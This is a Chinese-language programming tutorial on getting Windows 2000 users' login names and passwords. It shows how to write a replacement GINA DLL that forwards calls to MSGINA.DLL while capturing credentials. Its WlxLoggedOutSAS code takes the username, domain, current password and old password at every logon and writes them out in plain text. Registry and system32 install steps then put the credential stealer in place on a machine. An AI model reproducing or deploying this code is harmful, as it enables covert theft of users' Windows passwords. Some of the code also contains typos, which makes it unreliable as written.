WINDOWS 2000下如何获得用户登录名和密码
作者:moonstone
下载本文示例源代码一、原理 在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。 WinLogon初始化时会创建3个桌面: (1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等 (2)、应用程序桌面:我们平时见到的那个有我的电脑的界面 (3)、屏幕保护桌面:屏幕保护显示界面。 在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。 二、程序实现 GINA DLL要输出下列函数(winlogon会调用): (表一)GINA 函数一览表
函数 | 描述 | WlxActivateUserShell | 激活用户外壳程序 | WlxDisplayLockedNotice | 允许GINA DLL 显示锁定信息 | WlxDisplaySASNotice | 当没有用户登陆时,Winlogon调用此函数 | WlxDisplayStatusMessage | Winlogon 用一个状态信息调用此函数进行显示 | WlxGetConsoltchCredentials | Winlogon调用此函数读取当前登陆用户的信任信息,并透明地将它们传到目标会话 | WlxGetStatusMessage | Winlogon 调用此函数获取当前状态信息 | WlxInitialize | 针对指定的窗口位置进行GINA DLL初始化 | WlxIsLockOk | 验证工作站正常锁定 | WlxIslogoffOk | 验证注销正常 | WlxLoggedOnSAS | 用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数 | WlxLoggedOutSAS | 没有用户登陆,如果此时收到SAS事件,则Winlogon 调用此函数, This indicates that a logon attempt should be made 。 | WlxLogoff | 请求注销操作时通知GINA DLL | WlxNegotiate | 表示当前的Winlogon版本是否能使用GINA DLL | WlxNetworkProviderLoad | 在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数 | WlxRemoveStatusMessage | Winlogon 调用此函数告诉GINA DLL 停止显示状态信息 | WlxScreensaverNotify | 允许GINA与屏幕保护操作交互 | WlxShutdown | 在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡 | WlxStartApplication | 当系统需要在用户的上下文中启动应用程序时调用此函数 | WlxWkstaLockedSAS | 当工作站被锁定,如果接收到一个SAS,则Winlogon 调用此函数 | 为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数: /********************************************************************/ //在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!
int WINAPI WlxLoggedOutSAS ( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo, PVOID * pProfile) { int iRet=0; PWSTR pszUserName=NULL; //用户名 PWSTR pszDomain=NULL; //机器名 PWSTR pszPassword=NULL; //密码 PWSTR pszOldPassword=NULL; //旧密码 PSTR pLogonTime=new char[100]; //登录时间
//调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数 iRet = prcWlxLoggedOutSAS( pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile);
if(iRet == WLX_SAS_ACTION_LOGON) { //Get logon time CTime tm=CTime::GetCurrentTime(); ::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d //r//n", tm.GetYear(), tm.GetMonth(), tm.GetDay(), tm.GetHour(), tm.GetMinute(), tm.GetSecond());
if(pLogonTime!=NULL) { WriteInfo("logon_time: "); WriteInfo(pLogonTime); }
// copy pMprNotifyInfo and pLogonSid for later use pszUserName=pMprNotifyInfo->pszUserName; if(pszUserName!=NULL) { WriteInfo("Username : "); WriteInfoW(pszUserName); }
pszDomain=pMprNotifyInfo->pszDomain; if(pszDomain!=NULL) { WriteInfo("Domain : "); WriteInfoW(pszDomain); }
pszPassword =pMprNotifyInfo->pszPassword; if(pszPassword!=NULL) { WriteInfo("PassWord : "); WriteInfoW(pszPassword); }
pszOldPassword=pMprNotifyInfo->pszOldPassword; if(pszOldPassword!=NULL) { WriteInfo("OldPassword: "); WriteInfoW(pszOldPassword); }
}
return iRet;
} /********************************************************************/ 还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :
void WriteInfoW(PWSTR WideStr) //显示unicode字符串信息 {
//获取unicode字符串的字符个数 int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);
//在进程堆中分配空间 PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);
if(tempStr==NULL) return ;
//把unicode字符串转换为ASCII字符串 WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);
WriteInfo(tempStr); //显示ASCII字符串信息
//释放分配的堆空间 HeapFree(GetProcessHeap(),0,tempStr);
} 三、安装和注意事项: 在编写GIAN DLL中要注意,GINA DLL使用的是unicode。 【安装】GINA DLL的安装: 1. 添加注册表 键名 : //HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon 变量名 : GinaDLL 变量类型 : [REG_SZ] 内容 : "你的GINA DLL的名称" 如:"MyGina.DLL: 2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32); 3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。 【注意】 1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。 2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉<windows.h>。 3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文件,你应该添加新的目录以便编译器找到所需的库文件。具体位置:IDE中 菜单Tools//Options//Directories//show directories for// <library files>。 4. 如果出现这种错误:“uafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”,那么“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具体位置:IDE中 菜单Project // Setting // C/C++ // preprocessor definition 。
|